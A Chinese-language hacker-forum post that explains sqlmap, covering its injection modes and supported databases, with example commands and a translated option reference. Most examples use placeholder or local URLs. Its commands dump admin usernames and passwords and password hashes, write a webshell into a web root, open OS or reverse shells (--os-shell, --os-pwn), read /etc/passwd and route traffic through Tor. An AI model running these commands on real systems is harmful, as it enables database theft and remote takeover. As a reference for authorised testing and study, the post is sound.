[工具使用] Sqlmap介绍及相关命令

487 0
Honkers 2026-5-26 19:38:46 来自手机 | 显示全部楼层 |阅读模式

一、sqlmap简介

sqlmap支持五种不同的注入模式:

  • 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  • 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 4、联合查询注入,可以使用union的情况下的注入。
  • 5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

二、检测注入

基本格式

  1. sqlmap -u “http://www.vuln.cn/post.php?id=1”
复制代码

默认使用level1检测全部数据库类型

  1. sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3
复制代码

指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入

  1. sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
复制代码

从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

  1. sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
复制代码

三、注入成功后

获取数据库基本信息

  1. sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs
复制代码

查询有哪些数据库

  1. sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables
复制代码

查询test数据库中有哪些表

  1. sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns
复制代码

查询test数据库中admin表有哪些字段

  1. sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump
复制代码

dump出字段username与password中的数据

其他命令参考下面

从数据库中搜索字段

  1. sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
复制代码

在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

使用shell命令:

sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”

注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

四、SQLMAP基础信息

获取当前用户名称

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-user
复制代码

获取当前数据库名称

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-db
复制代码

获取表名

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security --tables
复制代码

获取字段

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users --columns
复制代码

获取字段内容

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users -C id --dump
复制代码

五、SQLMAP进阶信息内容

执行测试等级

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --level 2
复制代码

指定数据库类型

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --dbms "Mysql"
复制代码

列数据库用户

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --users
复制代码

列数据库

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --dbs
复制代码

数据库用户密码

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --passwords
复制代码

列出指定用户数据库密码

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --passwords -U root
复制代码

查看权限

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --privileges
复制代码

查看指定用户权限

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --privileges -U root
复制代码

是否是数据库管理员

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --is-dba
复制代码

枚举数据库用户角色

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --roles
复制代码

导入用户自定义函数(获取系统权限!)

  1. sqlmap/sqlmap.py -u "http://url/news?id=1" --udf-inject
复制代码

cookie注入

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1" --cookie "COOKIE_VALUE"
复制代码

获取banner信息

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -b
复制代码

post注入

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3"
复制代码

指纹判别数据库类型

  1. python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -f
复制代码

代理注入

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118"
复制代码

指定关键词

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"
复制代码

执行系统命令

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1" --file /etc/passwd
复制代码

统交互shell

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-shell
复制代码

反弹shell

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-pwn
复制代码

读取win系统注册表

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1" --reg-read
复制代码

保存进度

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs-o "sqlmap.log"
复制代码

恢复已保存进度

  1. python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume
复制代码

六、sqlmap详细命令:

  1. –is-dba 当前用户权限(是否为root权限)
  2. –dbs 所有数据库
  3. –current-db 网站当前数据库
  4. –users 所有数据库用户
  5. –current-user 当前数据库用户
  6. –random-agent 构造随机user-agent
  7. –passwords 数据库密码
  8. –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  9. –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
复制代码

Options(选项):

  1. -h, --help 显示基本帮助信息
  2. -hh
  3. 显示高级帮助信息
  4. --version 显示程序版本号
  5. -v VERBOSE 赘言级别:0-6(默认 1)
  6. 目标:
  7. -d DIRECT 直接连接到数据库
  8. -u URL, --url=URL 目标 URL(e.g. "www.target.com/vuln.php?id=1")
  9. -l LOGFILE 从 Burp 或 WebScarab 日志中解析目标
  10. -m BULKFILE
  11. 在给定的文本文件中读取多个扫描目标
  12. -g GOOGLEDORK 将 Google dork 结果作为目标 URL
  13. -r REQUESTFILE 从文件中读取 HTTP 请求
  14. -c CONFIGFILE 从 INI 配置文件中读取配置选项
复制代码
  • 保存进度继续跑:
  1. sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
  2. sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
复制代码

Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

  1. -d DIRECT 直接连接到数据库。
  2. -u URL, –url=URL 目标URL。
  3. -l LIST 从Burp或WebScarab代理的日志中解析目标。
  4. -r REQUESTFILE 从一个文件中载入HTTP请求。
  5. -g GOOGLEDORK 处理Google dork的结果作为目标URL。
  6. -c CONFIGFILE 从INI配置文件中加载选项。
复制代码

Request(请求):

这些选项可以用来指定如何连接到目标URL。

  1. --data=DATA 通过 POST 方法提交的数据字符串--param-del=PDEL 用于分割参数值的字符
  2. --cookie=COOKIE HTTP Cookie 头
  3. --cookie-del=CDEL 用于分割 cookie 值的字符
  4. --load-cookies=L.. 包含 cookies 的 Netscape/wget 格式文件
  5. --drop-set-cookie 忽略响应中的 Set-Cookie 头
  6. --user-agent=AGENT
  7. HTTP User-Agent 头
  8. --random-agent 使用随机选择的 HTTP User-Agent 头
  9. --host=HOST HTTP Host 头
  10. --referer=REFERER HTTP Referer 头
  11. --headers=HEADERS Extra 头(e.g. "Accept-Language: fr\nETag: 123")
  12. --auth-type=AUTH.. HTTP 认证方式(Basic, Digest, NTLM 或 PKI)
  13. --auth-cred=AUTH.. HTTP 认证证书(name:password)
  14. --auth-private=A.. HTTP 认证 PEM 私钥文件
  15. --proxy=PROXY 使用代理连接目标 URL
  16. --proxy-cred=PRO.. 代理认证证书(name:password)
  17. --proxy-file=PRO.. 从文件读取代理列表
  18. --ignore-proxy 接受系统默认代理设置
  19. --tor 使用 Tor 匿名网络
  20. --tor-port=TORPORT 设置默认以外的 Tor 代理端口
  21. --tor-type=TORTYPE 设置 Tor 代理方式(HTTP(默认), SOCKS4 或
  22. SOCKS5)
  23. --check-tor 检查 Tor 是否正确使用--delay=DELAY 每个 HTTP 请求之间延迟的秒数
  24. --timeout=TIMEOUT 认定连接超时的秒数(默认 30)
  25. --retries=RETRIES 超时重试的次数(默认 3)
  26. --randomize=RPARAM 随机改变给定参数的值
  27. --safe-url=SAFURL 设置一个安全链接供系统经常访问
  28. --safe-freq=SAFREQ 设置一个安全连接供系统在两次测试之间访问
  29. --skip-urlencode 不对攻击载荷数据进行 URL 编码
  30. --force-ssl
复制代码

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句

  1. -a, --all 检索一切
  2. -b, --banner 检索 DBMS banner 信息
  3. --current-user 检索 DBMS 当前用户
  4. --current-db 检索 DBMS 当前数据库
  5. --hostname检索 DBMS 服务器主机名
  6. --is-dba 检测当前用户是否是 DBA
  7. --users枚举 DBMS 用户名
  8. --passwords枚举 DBMS 用户密码哈希
  9. --privileges 枚举 DBMS 用户权限
  10. --roles枚举 DBMS 用户角色
  11. --dbs 枚举 DBMS 数据库
  12. --tables 枚举 DBMS 数据库表--columns 枚举 DBMS 数据库表字段
  13. --schema 枚举 DBMS 架构
  14. --count检索数据表中的条目数
  15. --dump 转储 DBMS 数据库表中的条目
  16. --dump-all 转储所有 DBMS 数据库表中的条目
  17. --search 搜索字段名, 表名和(或)库名
  18. --comments 检索 DBMS 注释
  19. -D DB DBMS 数据库
  20. -T TBL DBMS 数据库表
  21. -C COL DBMS 数据库表字段
  22. -X EXCLUDECOL 不枚举 DBMS 数据库表字段
  23. -U USER DBMS 用户
  24. --exclude-sysdbs 枚举数据库表时排除 DBMS 系统库
  25. --where=DUMPWHERE 转储数据表时使用 WHERE 条件
  26. --start=LIMITSTART 第一个查询的输出项检索
  27. --stop=LIMITSTOP 最后一个查询的输出项检索
  28. --first=FIRSTCHAR 第一个查询的输出字的字符检索
  29. --last=LASTCHAR 最后一个查询的输出字的字符检索
  30. --sql-query=QUERY 要执行的 SQL 语句
  31. --sql-shell返回交互式的 SQL shell
  32. --sql-file=SQLFILE 从给定的文件执行 SQL 语句强制暴破
  33. --common-tables 检查是否存在常见表
  34. --common-columns 检查是否存在常见字段
复制代码

Optimization(优化):

这些选项可用于优化SqlMap的性能。

  1. -o 开启所有优化开关
  2. –predict-output 预测常见的查询输出
  3. –keep-alive 使用持久的HTTP(S)连接
  4. –null-connection 从没有实际的HTTP响应体中检索页面长度
  5. –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
复制代码

Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

  1. -p TESTPARAMETER 测试参数
  2. --skip=SKIP跳过对给定参数的测试
  3. --dbms=DBMS在这里强制指定后端 DBMS--dbms-cred=DBMS.. DBMS 认证证书(user:password)
  4. --os=OS在这里强制后端 DBMS 操作系统
  5. --invalid-bignum 使用大数字无效化值
  6. --invalid-logical 使用逻辑运算无效化值
  7. --invalid-string 使用随机字符串无效化值
  8. --no-cast 关闭攻击载荷铸造机制
  9. --no-escape 关闭字符串逃逸机制
  10. --prefix=PREFIX 注入攻击载荷前缀字符串
  11. --suffix=SUFFIX 注入攻击载荷后缀字符串
  12. --tamper=TAMPER使用给定的脚本篡改注入数据
复制代码

Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

  1. --level=LEVEL 执行测试的等级(1-5, 默认 1)
  2. --risk=RISK 执行测试的风险(0-3, 默认 1)
  3. --string=STRING 查询被评估为 True 时的匹配字符串
  4. --not-string=NOT.. 查询被评估为 False 时的匹配字符串
  5. --regexp=REGEXP 查询被评估为 True 时的正则表达式
  6. --code=CODE 查询被评估为 True 时的 HTTP 代码
  7. --text-only 仅基于文本内容比较网页
  8. --titles 仅基于标题比较网页
复制代码

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

  1. --technique=TECH 使用的 SQL 注入技术(默认使用所有技术)--time-sec=TIMESEC DBMS 响应的延迟秒数(默认 5)
  2. --union-cols=UCOLS UNION 查询注入测试字段的范围
  3. --union-char=UCHAR 暴破字段数量使用的字符
  4. --union-from=UFROM UNION 查询注入 FROM 部分使用的数据表
  5. --dns-domain=DNS.. DNS 溢出攻击所使用的域名
  6. --second-order=S.. 二阶响应页面 URL
复制代码

Fingerprint(指纹):

  1. -f, --fingerprint 执行检查广泛的DBMS版本指纹
复制代码

用户定义函数注入:

  1. --udf-inject 注入用户自定义函数
  2. --shared-lib=SHLIB 共享库的本地路径
复制代码

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

  1. –common-tables 检查存在共同表
  2. –common-columns 检查存在共同列
复制代码

User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。

  1. –udf-inject 注入用户自定义函数
  2. –shared-lib=SHLIB 共享库的本地路径
复制代码

强制使用 SSL/HTTPS

  1. --hpp 使用 HTTP 参数污染
  2. --eval=EVALCODE 供提交请求之前评估参数的 Python 代码(e.g.
  3. "import hashlib;id2=hashlib.md5(id).hexdigest()")
复制代码

File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

  1. –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
  2. –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
  3. –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
复制代码

Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

  1. –os-cmd=OSCMD 执行操作系统命令
  2. –os-shell 交互式的操作系统的shell
  3. –os-pwn 获取一个OOB shell,meterpreter或VNC
  4. –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
  5. –os-bof 存储过程缓冲区溢出利用
  6. –priv-esc 数据库进程用户权限提升
  7. –msf-path=MSFPATH Metasploit Framework本地的安装路径
  8. –tmp-path=TMPPATH 远程临时文件目录的绝对路径
复制代码

Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

  1. –reg-read 读一个Windows注册表项值
  2. –reg-add 写一个Windows注册表项值数据
  3. –reg-del 删除Windows注册表键值
  4. –reg-key=REGKEY Windows注册表键
  5. –reg-value=REGVAL Windows注册表项值
  6. –reg-data=REGDATA Windows注册表键值数据
  7. –reg-type=REGTYPE Windows注册表项值类型
复制代码

这些选项可以用来设置一些一般的工作参数。

  1. -s SESSIONFILE 从存储(.sqlite)文件中读取会话
  2. -t TRAFFICFILE 记录所有 HTTP 流量为一个文本文件
  3. --batch
  4. 从不询问用户输入, 使用默认行为
  5. --charset=CHARSET 强制数据检索使用的字符编码
  6. --crawl=CRAWLDEPTH 从目标 URL 抓取起始网页
  7. --csv-del=CSVDEL CSV 输出中使用的定界符(默认",")
  8. --dump-format=DU.. 转储数据的格式(CSV(默认), 可以设置为 HTML
  9. 或 SQLITE)
  10. --eta 显示每个输出的预计到达时间
  11. --flush-session 刷新当前目标的会话文件
  12. --forms
  13. 分析并测试目标 URL 中的表单
  14. --fresh-queries 忽略在会话文件中存储的查询结果
  15. --hex 对数据检索使用 DBMS 的 hex 函数
  16. --output-dir=OUT.. 自定义输出目录路径--parse-errors 从响应中分析并显示 DBMS 错误消息
  17. --pivot-column=P.. 透视字段
  18. --save 保存选项到 INI 配置文件
  19. --scope=SCOPE 用正则表达式从所提供的代理日志过滤目标
  20. --test-filter=TE.. 通过攻击载荷和(或)标题选择测试(e.g. ROW)
  21. --update 更新 sqlmap
复制代码

Miscellaneous(杂项):

  1. -z MNEMONICS 使用短记忆法(e.g. "flu,bat,ban,tec=EU")
  2. --alert=ALERT 当找到 SQL 注入时运行操作系统命令
  3. --answers=ANSWERS 设置问题的答案(e.g. "quit=N,follow=N")
  4. --beep 当找到 SQL 注入时发出蜂鸣
  5. --check-waf 启发式检查 WAF/IPS/IDS 保护
  6. --cleanup 从 sqlmap 具体 UDF 和表清理 DBMS
  7. --dependencies 检查是否缺少(非核心)的 sqlmap 的依赖
  8. --disable-coloring 禁用控制台输出着色
  9. --gpage=GOOGLEPAGE 从指定页码使用 Google dork 结果
  10. --identify-waf 使测试通过 WAF/IPS/IDS 保护
  11. --mobile 通过 HTTP User-Agent 头模拟智能手机
  12. --page-rank 为 Google dork 结果显示网页排名(PR)
  13. –forms 对目标URL的解析和测试形式
  14. –parse-errors 从响应页面解析数据库管理系统的错误消息
  15. –replicate 复制转储的数据到一个sqlite3数据库
  16. –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
  17. --purge-output 从输出目录中安全删除所有内容
  18. --smart 仅通过积极的启发式进行测试
  19. --wizard 用于初级用户的简单向导接口
复制代码
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行